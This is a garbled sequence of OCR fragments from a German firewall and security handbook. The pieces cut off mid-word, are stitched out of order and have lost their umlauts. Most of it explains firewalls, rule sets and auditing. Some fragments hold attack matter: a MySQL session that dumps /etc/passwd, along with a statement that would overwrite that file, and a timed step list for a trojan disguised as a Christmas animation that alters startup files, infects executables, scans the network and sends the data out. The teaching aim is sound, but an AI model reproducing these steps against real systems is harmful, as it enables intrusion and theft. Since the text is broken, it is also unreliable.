322. fen Ich informierte mal wieder den Systemadministrator der nicht reagierte Sehr wohl aber wunderte ich mich da diese Systemadministratoren meinen Internet Server genau untersuchten Auf eine Untersuchung mit einem Security Scanner folgte eine genaue Inspektion aller Seiten von allen Domains auf diesem Server und zwar ber ein Gateway welches offensichtlich in Deutschland an das Internet angebunden war Alle fehlerhaft zugestellten Mails stammten so wies es zumindest der Header aus von einem Gateway in den USA Ich untersuchte das USA Gateway und stellte fest da dieses gut durch eine Firewall gesichert war Danach f hrte ich mit Hilfe des ISS Security Scanners eine kleine Untersuchung dieses deutschen Gateways durch von welchem aus mein Server gr ndlich untersucht wurde Es waren jedoch keinerlei Sicherheitsl cken erkennbar Als ich dann alle DNS Logs auswertete stellte ich fest da DNS Anfragen von diesem Gateway an meinen Internet Server gingen Das machte mich ein wenig stutzig E Mails laufen ber ber das USA Gateway DNS und Surf Traffic f r die Mitarbeiter laufen ber ein deutsches Gateway Fein Ich untersuchte noch die Header von ein paar hundert internen E Mails und stellte fest da offensichtlich der Backup Server des X 400 Gateways einen Fehler bei der bersetzung der X 400 Adressen in das Internet Format hatte Der Original X 400 Server war offensichtlich in Ordnung Ich hatte also den Fehler in deren Netzwer
323. fer bergibt dann als String Daten die mit NOP Befehlen No Operation beginnen und danach ein paar Byte zum Aufruf eines Programms z B format c enthalten Dieser String berschreibt dann im Speicher andere Programmteile die dann evtl nicht mehr funktionieren Da ein Server jedoch gew hnlich viele unwichtige Programmroutinen im RAM h lt die wenig oder nie gebraucht werden f llt dieser Angriff zun chst nicht auf Irgendwann springt der IP Instruction Pointer eines Programms in diejenige Routine die von dem buffer overflow berschrieben wurde Da die genaue Adresse meist unbekannt ist wurden mit einigen hundert oder tausend NOP daf r gesorgt da der IP an jeder Adresse einspringen kann Danach trifft er unweigerlich auf das eingeschleuste Programm und f hrt es aus Im Internet finden sich hunderte von vorgefertigten Programmen auch exploits genannt die diese Fehler in Betriebssystemen ausnutzen Security Scanner fragen auf dem Betriebssystem Versionsnummern ab und warnen falls ein Problem bekanntgeworden ist Das bedeutet da Security Scanner nicht die Sicherheit eines Betriebssystems testen sondern nur darauf ob ein bereits bekannter exploit an diesem Server Programm Schaden anrichten k nnte Security Scanner testen allerdings noch viele zus tzliche Dinge vornehmlich bekannte Konfigurationsfehler die nat rlich immer sehr betriebssystemspezifisch sind Unbekannte exploits k nnen Security Scanner nicht testen
324. fizierung Keine Cluster m glich Hoher Wartungsaufwand in gro en Netzwerken Log Server stets notwendig Unflexibel nur einseitig einsetzbar Schwierig zu programmieren Als Firewall Router werden h ufig Router mit Filtereigenschaften bezeichnet Besser w re die Bezeichnung Paketfilter Wenn man den Werbeaussagen der Hersteller glauben darf dann sind deren Eigenschaften inzwischen recht umfangreich sie beherrschen das Filtern nach IP Nummern Ports Protokollen bieten Schutz gegen spoofing und DoS Angriffe die auf den TCP IP Stack zielen bieten NAT oder Masquerading an Anscheinend gibt es kaum noch Unterschiede zu echten Firewalls Weit gefehlt In der Praxis reichen solche Filter nicht mehr aus insbesondere beim Einsatz von komplexeren Protokollen wie FTP RPC NFS NIS SMB SQL u s w Den Firewall Routern fehlen fast immer Kenntnisse ber die Protokollmechanismen und somit sind sie auch nicht in der Lage die Inhalte von wichtigen Protokollen zu interpretieren So ist der Administrator gezwungen fast alle Ports oberhalb der privilegierten Ports gt 1024 und evtl auch einige unterhalb 111 RPC Portmapper f r PDC oder RPC freizuschalten Dieses erm glicht dann direkte vielf ltige Angriffe auf Server hinter dem Firewall Router angefangen von DoS Angriffen bis hin zu Tricks die ein wenig in die Protokollmechanismen eingreifen z B FTP PORT Umleitung auf einen Telnet Zugang Siehe PASV Mechanismus Firewall Router besitzen
325. formationen gelagert sind welche Arbeitsstationen auf diese Daten authorisierten Zugriff haben und welche sich theoretisch Zugriff verschaffen k nnten Da es in einem Unternehmen viele Wege und Umwege gibt um dann doch schlie lich an die gew nschte Information zu gelangen ist es notwendig einem Angreifer so viele Schwierigkeiten wie nur irgend m glich zu bereiten Analyse der Netzwerk Topologie OQahwn Feststellung von collision domains Feststellung von geswitchten Netzwerkbereichen Feststellung von mit Routern abgesicherten Bereichen Feststellung von mit Firewalls gesicherten Netzwerken Feststellung von erreichbaren Netwerken Analyse der berwachten Bereiche Uberwachung und Absicherung der Server Dieser Liste von Fragen gr nden sich auf konkrete Erfahrungen in der t glichen Praxis und auf Einbruchsversuche aus dem Internet bzw Intranet berwachung der zugreifenden Clients Erstellt von Doc Gonzo http kickme to plugins Ons oN K nnen unauthorisierte Zugriffe von Usern entdeckt werden K nnen ungew hnliche Zugriffe auf Dienste erkannt werden Werden Ubertragungsvolumina zwischen Server und Arbeitsstationen gez hlt accounting K nnen diese eindeutig Hosts Usern und Protokollen zugeordnet werden Wird protokolliert ob und wann ein User auf welche Verzeichnisse Dateien zugegriffen hat Sind User Gruppen File Zugriffsrechte klar feststellbar Werden Portscans registriert und der Systemadmi
326. ft obwohl Siemens eine eigene CERT Abteilung besitzt Juristisch kommt dies der v lligen Ablehnung aller Verantwortungen f r die Sicherheit des Netzwerkes gleich Das Grundschutzhandbuch des BSI Die Anweisungen entsprechend dem Grundschutzhandbuch des BSI sollten unbedingt eingehalten werden Sie enthalten wichtige Grundregeln die sich haupts chlich auf SicherheitsmaBnahmen nicht technischer Art im Unternehmen beziehen http www bsi bund de Sind diese Forderungen alle erf llt Welche nicht Der Fragenkatalog Dieser Fragenkatalog ist so gefa t da er nur als Anregung gedacht ist bestimmten sicherheitsrelevanten Fragen einmal genauer nachzugehen und diese zu durchleuchten Diese Fragen basieren auf konkreten Angriffen auf Systeme und ber cksichtigen auch noch nicht entdeckten Fehlern in Systemen die theoretisch jedoch durchaus bestehen In der Sicherheits Policy wird definiert welche Sicherheitsanforderungen bestehen wie diese umgesetzt werden k nnen und wie diese regelm ig berpr ft werden k nnen Hierbei mu jedes Unternehmen f r sich selber festlegen welche Sicherheitsanspr che bestehen was zu sch tzen ist und wie sichergestellt werden kann da nicht unbemerkt Informationen entwendet werden k nnen sowohl durch interne Mitarbeiter als auch durch externe Angreifer Schematische Aufzeichnung des Informationsflusses im Unternehmen Folgende Unterlagen sollten stets aktuell schriftlich verf gbar sein evtl a
327. ft Windows installiert ist So l t sich leicht feststellen wie die Hardware und Software eingestellt ist diese Hardware Informationen sollte man sich sicherheitshalber f r sp ter notieren Besondere Aufmerksamkeit sollte man auf folgende Punkte legen e Device IRQ settings e Maus Hersteller Typ Modell e Video Karte Typ Modell Chipsatz DA Wandler RAM e Monitor Aufl sung horizontale vertikale Frequenz non interlaced Bandbreite e SCSI Adapter und Devices e CDROM Typ Master Slave Einstellungen Kontroller 1 2 e Ethernet Karten Typ Modell Chipsatz IRQ s Adressen e ISDN Karte Modell Typ IRQ s Adressen Nun sollte man auf http www redhat com einmal auf der Hardware Kompatibilitatsliste nachschauen F r ISDN http www suse de um festzustellen ob alle Komponenten unterst tzt sind Dadurch erspart man sich viele Fehlversuche und ein wildes Herumraten 9 3 Installation der Software Die Installation von LINUX mit Boot Floppy und der CDROM ist Men gesteuert und l uft unter REDHAT LINUX fast von alleine ab Eventuelle Fragen nach Workstation Server sind mit Server zu beantworten es ist stets die minimale Installation auszuw hlen Bei der Auswahl der Pakete ist es am einfachsten alle Pakete installieren sofern der Festplattenplatz ausreicht ca 1 GByte Die Dienste die bei einem Start de aktiviert werden sollten sind KERNELD Dieser l dt nach dem Start automatisch weitere Module zum
328. ftp bin bash firewall x 41 31 firewall account tmp bin false informix x 43 34 Informix Database Admin usr lib informix bin bash named x 44 44 Nameserver Daemon var named bin bash virtuoso x 45 100 Virtuoso Admin opt virtuoso lite bin bash nobody x 65534 65534 nobody tmp bin bash user01 x 500 100 platte2 home user0 1 bin bash user02 x 501 100 home user02 bin bash user03 x 502 100 home user03 bin bash 31 rows in set 0 00 sec mysql gt Erstellt von Doc Gonzo http kickme to plugins Man kann offensichtlich in einem SuSE LINUX System mit einem MySQL Server beliebig Daten aus anderen Verzeichnissen in die MySQL Datenbank einlesen und sich quer ber das Internet irgendwohin bertragen lassen Ein Useraccount mit beschr nkten Rechten an irgendeiner Tabelle reicht da v llig aus Sie sehen da da auch eine Firewall nicht mehr helfen kann Das Statement insert select from passwd into outfile etc passwd Query OK 32 rows affected 0 03 sec spare ich mir nun was Sie ebenfalls sich sparen sollten Damit ein solcher Einbruch also nicht m glich ist sollten Sie MySQL nur mit User Rechten starten und den MySQL Serverd mon in eine CHROOT Umgebung verbannen Wie Sie das tun finden Sie hier http www little idiot de firewall Falls Sie nun denken LINUX w re unsicher da haben Sie Recht Ich kann Ihnen als angehender MCSD aber garantieren da NT 4 0 Serv
329. g 26 14 26 28 MEST 1999mysqld started on Thu Aug 26 14 2 7 40 MEST 1999 mysqld started on Fri Aug 27 07 10 08 MEST 1999 user0 1 tunix var mysql gt Es wurden nur Daten aufgezeichnet die die Tabelle mysql also diejenige Tabelle betrifft die die Rechte verwaltet Ein echter Angreifer k nnte aber auch diese Tabelle berschreiben was sicherlich einer Katastrophe gleichkommen d rfte 26 3 Helfen SQL Proxy s SQL Proxy s in Firewalls werden im allgemeinen nur dort eingesetzt wo Datenbanken f r Warenwirtschaftssysteme oder EDI Systeme an das Internet angebunden werden m ssen Leider mu man sagen da hier kaum jemand wirklich die Gefahren kennt Viele Firewallhersteller begn gen sich einfach damit den TELNET PROXY auf den Port z B 1521 des ORACLE Servers zu installieren der dann als dedicated server konfiguriert sein mu In diesem Falle wird nur der Port 1521 verwendet und Ports gt 1024 kommen nicht zur Anwendung Dies kann dann interessant sein wenn man z B einen SAP R3 Erstellt von Doc Gonzo http kickme to plugins oder anderen Kommunikationsserver vor den eigentlichen Datenbankserver geschaltet hat Ohne ein sogenanntes Port Sharing mit dynamischen Ports bleibt dann nat tlich die Zahl der simultanen Clients auf einen begrenzt Mit aktiviertem Port Sharing also beim Einsatz von ORACLE als multi threaded Server der vielen Clients gleichzeitig Rede und Antwort steht m ssen n mlich in der Firewall a
330. g des Auditing von Fileservices Da SAMBA zu den schnellsten Serverd monen berhaupt geh rt und SAMBA eine wunderh bsche Benutzeroberfl che besitzt bleibt nur noch der Wunsch die Zugriffe der Clients auf Dateien mitloggen zu k nnen Hierin werden alle Zugriffe von Clients auf alle Dateien des Servers mitgeloggt So kann man herausfinden wer sich eventuell f r andere Dinge in einem Unternehmen interessiert Verst e gegen die Security Policy k nnen so festgestellt werden ohne da man durch strikte Filterung die Erstellt von Doc Gonzo http kickme to plugins Mitarbeiter an der Arbeit hindert Einen Patch f r die aktuellen SAMBA D monen findet man auf http www reac com samba samba audit html Geschrieben hat diesen Andy Bakun LINUX erf llt mit diesem Patch einige Punkte der C2 Zertifizierung Auditing In der Praxis bedeutet dies da man ebenso wie unter NOVELL und NT mit LINUX alle File Zugriffe auf den Server mit protokollieren kann Hier ein Beispiel Sep 21 18 47 42 jupiter uranus rollout jwall 514 sysadmin 233 jwall 192 168 1 50 SHAREOPEN Sep 21 18 48 01 jupiter jupiter home jwall 514 jwall 514 jwall 192 168 1 50 FILEDELETE file jwall New Text Document txt Sep 21 18 49 08 jupiter uranus rollout abakun 500 sysadmin 233 abakun 192 168 1 20 SHAREOPEN Sep 21 18 49 52 jupiter jupiter jwall 192 168 1 50 LOGON interactive logon attempt for kdart Sep 21 18 49 52 jupiter jupiter jwall 192 168 1
331. gal TCP connection syslog let illtcp sourcehost illtcp sourcehost 1 timeout 600 if illtcp sourcehost 1 then message Illegal TCP connection mail spy endif end Diese Beispiele zeigen alle M glichkeiten der Benutzung der Schl sselwortes notification Der Einsatz der Befehle ist einfach z B exec sbin ifconfig ethO down sorgt daf r da die Netzwerkkarte deaktiviert wird Im Gegensatz zu den nur zeitweise aktiven dynamischen Regeln die statische Regeln vor bergehend ersetzen ist die Regel relevel permanent also von Dauer Erstellt von Doc Gonzo http kickme to plugins Angenommen level 100 war der notification level der ausgel st wurde als die Firewall gepingt wurde Das Logfile w rde sehr schnell anwachsen wenn wirklich jedes ping geloggt w rde Die erste Idee ist ein relevel auf die Regel anzuwenden notification level 100 message Wir sind gepingt worden relevel 0 Genau dies ist aber eine schlechte Idee Ein einzelnes ping w rde ausreichen um die Regel quasi au er Betrieb zu nehmen Weitere ping Versuche w rde nicht mehr entdeckt werden k nnen Da die Regel nach dem ersten Ping au er Funktion gesetzt wird erscheinen in dem Logfile also alle weiteren Pings nicht mehr Das ist so sicher nicht beabsichtigt Damit auch alle weiteren Pings bemerkt werden k nnen mu die Regel so aussehen notification level 100 let pings sourcehost pings sourcehost 1 timeout 600 10 minutes
332. geben werden Wenn deren G ltigkeitszeitraum berschritten ist wird die an die Funktion sf_config_delete bergeben und gel scht Das Array der IP Adressen mu hierzu neu bergeben werden Das ist immer dann erforderlich wenn dessen Inhalte sich aufgrund einer Anderung der Regeln mit ver ndern Die Funktion sf_config_clear l scht alle Filterregeln bevor neue Regeln in den Filter geladen werden Zwei weitere Funktionen werden vom SFC Programm benutzt sf_config_flush und sf_config_flush_all W hrend die Funktion sf_config_flush_all die HASH Eintr ge aller aktiven TCP Verbindungen l scht l scht die Funktion sf_config_flush nur diejenigen die nicht erlaubt sind entsprechend dem Regelwerk in der Firewall Konfiguration 14 28 Der Packetfilter In diesem Abschnitt sind alle Details des eigentlichen Filters beschrieben sf_filter c Jedesmal wenn ein IP Paket gesendet oder empfangen wird wird die Funktion sf_check_packet aufgerufen Die Parameter sind ein Zeiger auf den Beginn des IP Headers ein Zeiger auf das Device Netzwerkinterface und ein Feld von Flags die anzeigen ob eine Paket gesendet empfangen oder weitergeleitet wird forward Die Funktion wird in den Files ip c und tcp c des Kernels aufgerufen Die R ckgabewerte sind in den Files sf_kernel h definiert und informieren den Kernel dar ber ob ein Paket Erstellt von Doc Gonzo http kickme to plugins gel scht weitergeleitet oder eine ICMP Nachricht ausgesendet werd
333. gehen um Informationen aus dem Netzwerk heraus zu schleusen und Zugang zu wichtigen Informationen zu erhalten Wir gehen dabei davon aus da standardm ig z B Firewall 1 im Einsatz ist es k nnte auch eine beliebig andere sein Arbeitsstationen seinen mit Windows 98 oder NT 4 0 ausgestattet Vorbereitende Ver nderungen an Dateien und Netzwerkanalyse Da der Angreifer davon ausgehen mu da z B eine Weihnachtsmann Animation nur ca 30 40 Sekunden lang l uft ist es wichtig vorzusorgen Hier sind einige wichtige Dinge zu tun e Entpacken eines Binaries aus der Weihnachtsmann exe 5 Sekunden e Veranderung der Startup Dateien autoexec xxx Kopie in den Autostart Ordner 1 Sekunde e Anh ngen eines EXE Programms an eine System Datei o Winword exe Notepad Write exe Sysedit 4 Sekunden e Durchsuchen der Konfigurationsdateien nach Name E Mail Server PROXY Einstellun g des Browsers IP Adresse und Gateway 1 Sekunde e Scan nach frei beschreibbaren WfW Netzen und Arbeitsstationen 2 Sekunden e Scan nach allen aktiven IP Adressen Scan aller MAC Adressen Hardwareadressen 3 Sekunden e Scan nach Virenscannern und speziellen Filtern 2 Sekunden e Abfrage der Betriebssystemsnummern Versionsnummern Patchlevel 1 Sekunde e Scan nach installierter Software 2 Sekunden e Scan nach offenen Ports aller aktiven IP Nummern im Bereich 1 100 10 Sekunden e Versenden aller dieser Informationen
334. gehen zuverl ssig vermeiden m chte der mag sich mit dem Kapitel Unkonventionelle Firewalll sungen n her auseinandersetzen 26 Sicherung von SQL Datenbanken Angesichts der Bedeutung von SQL Datenbanken in gr eren Unternehmen mu man ganz klar sagen da Angreifer sich f r die Inhalte von SQL Datenbanken besonders interessieren Sie enthalten zumeist f r ein Unternehmen im Konkurrenzkampf berlebenswichtige Informationen Microsofts Backoffice basiert ebenfalls auf der MS SQL Datenbank bzw Sybase SQL Datenbank Nach dem Start von Backoffice ist diese SQL Datenbank entweder mit dem Standardpa wort zug nglich welches Microsoft bei der Installation standardm ig aktiviert hat oder der Angreifer kommt ber das Aussp hen von Pa worten anderer Dienste WWW Mail auf dasjenige Pa wort was wahrscheinlich Sie auch als Login in das System verwenden Da bei Microsoft alles so sch n zusammenh ngt hat somit ein Angreifer auch vollen Zugriff auf die SQL Datenbank die er dann sogar mit Hilfe von Visual Basic Script in einem Makro von Winword oder Excel versteckt ansprechen kann Die Absicherung von SQL Datenbanken ist nur unter ganz bestimmten Bedingungen m glich Eine Firewall kann hier nicht helfen Wichtig ist es die Angriffsm glichkeiten genau zu kennen und an geeigneter Stelle meistens in den Interfaces Filter einzubauen Diese mu man auf den Datenbestand die Datenstruktur und auf die Abfragem glichkeiten hin konstruiere
335. geln Es kommt entscheidend auf die Reihenfolge der Regeln an Diese werden der Reihe nach abgearbeitet Trifft eine Regel zu dann wird das Paket freigegeben auch wenn eine sp tere Regel diese Regel wieder aufhebt da nach einem Match zutreffende Regel die Firewall die Regeln nicht weiter durchl uft Anti spoofing Regeln m ssen alle vor allen anderen Regeln abgearbeitet werden Darum sollte man sich merken Die Reihenfolge des gesamten Regelwerkes ist nicht beliebig Eine Besonderheit stellen aber die anti spoofing Regeln dar Diese wirken ausschlie lich auf den IP Stack nicht TCP Stack Diese m ssen immer zuerst in den Firewallregeln erscheinen Da die Firewallregeln der Reine nach abgearbeitet werden scheitern gespoofte Pakete schon an der ersten Firewallregel im IP Stack Die Pakete k nnen daher nicht an den TCP Stack weitergegeben werden da diese unverz glich vernichtet werden Der Unterschied liegt in der Wirkung der Firewallregeln auf den IP Stack und auf den TCP Stack Anti Spoofing Regeln wirken nur auf den IP Stack die anderen Regeln wirken auch auf den TCP Stack Es ist wichtig diese Tatsache verstanden zu haben auch wenn hier zwei v llig voneinander unabh ngige Funktionen mit ein und demselben Werkzeug administriert werden Da im Kernel bei eintreffenden Paketen immer zuerst der IP Stack zust ndig ist und dann erst der TCP Stack erreichen diese Pakete den TCP Stack nicht Dies hat zur Folge da die Firewall erhe
336. geln noch nicht aktiv sind Das betrifft insbesondere die Benutzer des alten ipfwadm Toolkits der Version 2 0 Da man bei ipchains die Regeln f r das ipppO Interface auch ohne vorhandenes Device aktivieren kann sollte man auf ipchains umsteigen Wildcard Interfaces funktionieren nicht Das war ein Bug in Develloper Versionen 2 1 und sollte inzwischen auch mit dem Kernl 2 0 36 funktionieren Hierzu mu in der Zeile um 63 in der Datei ust src linux include linux ip_fw h folgender Eintrag gemacht werden Erstellt von Doc Gonzo http kickme to plugins define IP_FW_F_MASK 0x003F All possible flag bits mask ipautofw and ipport w funktioniert nicht Das ist richtig f r alle Kernel Version 2 0 x Es gibt hierf r kein Patch Was ist mit IPX Firewalling Dies ist nicht m glich 12 15 Anhang Unterschiede zwischen ipchains Und ipfwadm li 2 Die Option k ist durch y zu ersetzen Die Option b ver ndert in ipchains mehrere Regeln in der input und output chain Die Option x I ist durch v ersetzt worden Mehrfache Quellports und Zielports werden nicht mehr unterst tzt Hierf r sind nun Portbereiche ranges eingef hrt worden Interfaces k nnen nur noch mit dem Namen eth0 angesprochen werden nicht mehr mit ihrer Adresse Fragmente k nnen gesteuert werden Accounting Regeln sind standardm ig aktiviert Es k nnen verschiedenste Protokolle getestet werden F r nicht TCP Protokolle existieren keine S
337. gew hrleistet da der Administrator alle Log Files in Ruhe untersuchen und auswerten kann Falls es dem Angreifer gelungen sein sollte ber einen aktivierten D mon apache dns sendmail o mittels eines buffer overflows zu gelangen dann ist diese Firewall jedoch verloren Aus diesem Grund darf auf der Firewall niemals irgendein D mon von innen oder au en erreichbar sein V llig bedenkenlos kann jedoch X Windows oder Erstellt von Doc Gonzo http kickme to plugins andere Software installiert sein sofern keiner der typischen Ports f r den Zugriff von innen oder au en freigegeben wurde Da nicht nur Server D monen gegen Einbr che aller Art empfindlich sind sondern auch Clients ftp fetchmail ist es ausdr cklich untersagt ein solches Programm auf der Firewall zu starten Eine wirklich sichere Firewall hat nur ein einzige Aufgabe n mlich als Firewall zu arbeiten 14 16 Fernwartung und Sicherheit Die Fernwartung einer Firewall von einem Arbeitsplatz aus ist immer mit gro en Risiken verbunden Es empfiehlt sich immer der Einsatz einer verschl sselten bertragung oder von Einweg Pa worten Aber auch die verschl sselte bertragung der Pa worte sch tzt nicht vor allen Angriffen Es besteht immer die M glichkeit da ein Angreifer auf einem Arbeitsplatz PC einen Keyboard Sniffer installiert hat und die Pa worte im Klartext erschn ffelt Ohne die verschl sselte bertragung oder Einweg Pa worte ist es f r
338. ggf im Posteingang zu l schen sofern diese nicht vom Systemadministrator selber stammt und ein zuvor verabredetes Zeichen das OK im Anschreiben enth lt Man erkennt diese E Mails mit Attachments daran da eine B roklammer rechts oben erscheint und da es eines weiteren Klicks bedarf um diese zu ffnen Grafiken werden hierbei nur hierbei nicht als Anhang definiert Zuwiderhandlungen haben unweigerlich eine Abmahnung zur Folge 2 Von ausgehenden E Mails die an externe Personen adressiert sind ist stets eine Kopie an eine zuvor bestimmte interne E Mail Adresse zu senden Verst e hiergegen k nnen eine Abmahnung zur Folge haben Als ausgehende E Mails wird eine den Arbeitsplatzrechner ber irgendeine angeschlossene Netzwerkverbindung verlassende E Mail definiert das k nnen auch ISDN Modem IRDA serielle parallele Schnittstellen und Netzwerkadapter oder hnliches sein 3 Ausgehende E Mails mit Dokumenten als Anhang auch Grafiken d rfen nicht direkt versendet werden Sollte es in Ausnahmef llen notwendig sein einen Text zur Weiterverarbeitung an externe E Mail Adressen zu versenden so ist diese unter Angabe der Zieladresse im Anschreiben an den zust ndigen Systemadministrator im Hause zu senden Sie erhalten dann eine E Mail mit einem Pa wort zur ck welches dem Adressaten fernm ndlich mitzuteilen ist Es dient der Entschl sselung des Dokumentes am Zielort Das Dokument darf nur als RTF Rich Text Format versan
339. gins erh lt Somit k nnen rechtzeitig geeignete Ma nahmen gegen einen potentiellen Angreifer unternommen werden e relevel ndert den notification level f r eine Regel die diese Aktion ausgel st hat F r den Fall da das n chste mal ein Paket genau wieder diese Regel erf llt werden dann Aktionen gestartet die ein einem neuen notification level definiert wurden Dies ist insbesondere dann der Fall wenn man einzelnen Ereignissen keine Bedeutung zumessen m chte es sei denn da diese geh uft auftreten e exec f hrt ein Shellkommando aus Beispielsweise kann dieses dazu gebraucht werden um ein Interface oder das gesamte System abzuschalten Es k nnen verschiedenste Aktionen gestartet werden z B die berpr fung des Systems auf ver nderte Dateien Einbr che o e call ruft einen weiteren notification level auf und f hrt die darin gelisteten Aktionen aus e let weist einer Variablen einen Wert zu Ein Timeout Wert der stets in Sekunden angegeben wird kann am Ende des let Befehls angegeben werden Wenn also eine Variable ver ndert oder verwendet werden mu und der Zeitraum seit ihrer letzen Ver nderung eine bestimmte Zeit berschreitet dann wird die Variable auf 0 gesetzt Eine Filterregel kann definiert werden die dynamisch der bestehenden statischen Filterkonfiguration hinzugef gt wird In Erg nzung zu den oben beschriebenen Eigenschaften f r Filterregeln gibt es ein paar besondere Eigenheiten f r dynamische
340. glich bekannt zu tun SMTP1 und SMTP2 Ausgehende Post von internen Rechnern zum Bastion Host wird durch diese Regeln zugelassen SMTP3 und SMTP4 Eingehende Post vom Bastion Host zum internen Mail Server wird durch diese Regeln zugelassen NNTP1 und NNTP2 Ausgehende Usenet News von Ihrem News Server zum News Server Ihres Service Providers werden durch diese Regeln zugelassen HTTP1 und HTTP2 Interne HTTP Client Verbindungen zum HTTP Proxy Server auf dem Bastion Host werden durch diese Regeln zugelassen Erstellt von Doc Gonzo http kickme to plugins e DNS1 DNS Anfragen ber UDP und Antworten der internen DNS Server zum DNS Server auf dem Bastion Host werden hierdurch erlaubt e DNS2 DNS Anfragen ber UDP und Antworten des DNS Servers auf dem Bastion Host werden hierdurch erlaubt e DNS3 und DNS4 DNS Anfragen ber TCP vom DNS Server auf dem Bastion Host zum internen DNS Server werden durch diese Regeln zugelassen ebenso alle Antworten auf solche Fragen Desweiteren werden Zonen Transfers mit dem DNS Server auf dem Bastion Host als sekund rem Server und dem internen DNS Server als prim rem Server erlaubt e DNS5 und DNS6 DNS Anfragen ber TCP vom internen DNS Server zu DNS Servern auf dem Bastion Host werden durch diese Regeln zugelassen ebenso alle Antworten auf solche Fragen Desweiteren werden Zonen Transfers mit dem DNS Server auf dem Bastion Host als prim rem Server und dem internen DNS Server als sekund rem Server
341. glich die aus sogenannten fragmentierten berlagerten Paketen speziell konstruiert werden um die Firewall dazu zu bringen Teile des TCP IP Stacks Heaps auf den SWAP Bereich des Betriebssystems auszulagern In diesem Moment arbeitet der Firewall Proze schlagartig langsamer Das erzeugt in dem Firewallproze einen RAM Uberlauf woraufhin dieser auf dem Betriebssystem selber abst rzt Sollte das Betriebssystem dann IP forwarding aktiviert haben so stehen T r und Tor weit offen Firewall Betriebssysteme sollten stets gro z gig mit RAM ausger stet werden erstens aus Performancegr nden zweitens mu zuvor abgesch tzt werden wieviel RAM bei verschiedensten DoS Angriffen mit der vollen zur Verf gung stehende Bandbreite maximal verbraucht wird ohne da der Server anf ngt den Auslagerungsspeicher zu bem hen Firewall Prozesse sollten daher stets im RAM Verbrauch begrenzt werden k nnen Da hierzu auch genaue Kenntnisse im RAM Verbrauch des darunterliegenden Kernels erforderlich sind sollte man stets eine Firewall auf einem Betriebssystem installieren welches diesbez glich keine Fragen offenl t SUN FreeBSD BSD BSDI LINUX Timeout Fragen sind hierbei ebenso wichtig wie die Frage nach den counter intelligence Strategien z B RED Random Early Drop zur Abwehr von SYN flooding Angriffen Eine Firewall sollte vor Inbetriebnahme mit allen g ngigen Angriffsvarianten gestre t werden Insbesondere sollte das Verhalten bei ak
342. gnet sein Arbeitsstationen im Netzwerk stabiler zu machen und gegen Angriffe ber ISDN abzusichern Oft besitzen diese guten Schutz gegen DoS Angriffe und solche auf application level Die Kenntnisse von Protokollen und Diensten sind umfangreich e Firewalls auf NT Basis ohne eigenen Stack Sie laufen erfahrungsgem stabil leiden aber unter DoS Angriffen auf den TCP IP Stack von NT die noch recht h ufig auftreten Es sind gravierende Fehlkonfigurationen m glich Erstellt von Doc Gonzo http kickme to plugins die sich aber unter Anleitung gut beheben lassen Sie bieten zumeist keinerlei Schutz gegen Angriffe auf application level Kenntnisse ber Protokollmechanismen sind eher selten FTP Das Angebot an PROXY s ist gut e PROXY Firewalls auf NT Basis mit eigenem TCP IP Stack Diese laufen i a stabil und sind sehr zuverlassig sind aber relativ teuer in Anschaffung und Support Viele Firewalls die auf Windows NT mit eigenem TCP IP Stack laufen sind Portierungen von UNIX auf NT Leider sind diese nicht so leistungsfahig wie unter UNIX obwohl die Software praktisch identisch ist Der Grund liegt in dem effizienteren Memory Konzept von UNIX und teilweise auch daran da der IP Stack nicht der TCP Stack von UNIX mit genutzt wird e Firewalls auf UNIX Basis ohne eigenen Stack Sie laufen erfahrungsgem stabil und sind sicher Fehlkonfigurationen treten h ufig und fast nur bei LINUX Firewalls auf die nach Anleitungen von Distr
343. gs auch s mtliche Verbindungen von internen TCP Ports gt 1023 zu externen TCP Ports gt 1023 erlaubt FTP5 und FTP6 Durch diese Regeln wird normalen internen FTP Clients gestattet einen FTP Kommandokanal zum FTP Proxy Server auf dem Bastion Host zu er ffnen Da FTP1 Und FTP2 als Quell bzw Zieladresse beliebig erfassen also auch Bastion Host so scheinen FTP5 und FTP6 wenn FTP1 und FTP2 in der Liste fr her erscheinen eher berfl ssig sie vereinfachen jedoch das Werk Desweiteren ist es durch ihren Einsatz m glich die Regeln FTP1 und FTP2 zu ndern ohne f r Clients im normalen Modus den Zugang zum Proxy Server zu behindern FTP7 FTP8 und FTP9 Diese Regeln lassen FTP Datenverbindungen vom Proxy Server auf dem Bastion Host zu internen Clients die nicht im passiven Modus arbeiten zu Angreifer die Zugang zum Bastion Host erlangt haben werden durch FTP7 daran gehindert interne X11 Server ber die durch FTP8 und FTP9 ge ffnete L cke anzugreifen Sollten Sie auf TCP Ports gt 1023 andere interne Server betreiben ist es sinnvoll daf r hnliche Regeln einzuf gen Entsprechend Regel FTP7 alle Verbindungen aufzuf hren die verboten werden sollen wird im allgemeinen nicht m glich sein da z B nach der Einrichtung des Paketfilters Dienste hinzugef gt werden oder bei der Einrichtung nicht alle bekannt sind jedoch sollte man es nicht unterlassen zur Unterst tzung von FTP Clients im normalen Modus dies f r so viele Verbindungen wie m
344. gt gt worldwide Our partners are among the most respected gt technology and media gt gt brands in the world including McAfee com Lycos IBM NEC gt UPSIDE magazine gt gt and others most of whom distribute the software under their gt own brands gt gt gt We hope concerned readers in Germany will examine these links gt carefully as gt gt we believe they clearly illustrate the falsehood of the claims gt put forth gt gt We welcome your feedback on the matter gt gt Interessant ist auch das privacy statement welches jeder der Neoplanet einsetzt auch unterschreibt Man findet es auf der Homesite von Neoplanet 24 3 Konsquenzen Diese einfache Analyse eines unbekannten Programmes l t sich schnell und effektiv durchf hren Netterweise sind alle Strings in Klartext gut erkennbar und somit leicht auszuwerten Der Programmierer k nnte jedoch wichtige Stings verschl sseln sie w ren somit nur als wirre Zeichenketten sichtbar Sollte eine solche Zeichenkette erscheinen kann man v llig sicher sein da der Programmierer etwas zu verbergen sucht Das Programm ist dann ebenfalls TABU Eine solche Analyse ist nat rlich sehr oberfl chlich und kein Garant daf r da ein Programm sauber ist Weitere Analysen lassen sich aber mit dem WINDASM oder mit Softlce durchf hren sie sind aber nur f r mit Assembler vertrauten Systemadministratoren geeignet 25 Makroviren Melissa amp Co beleuc
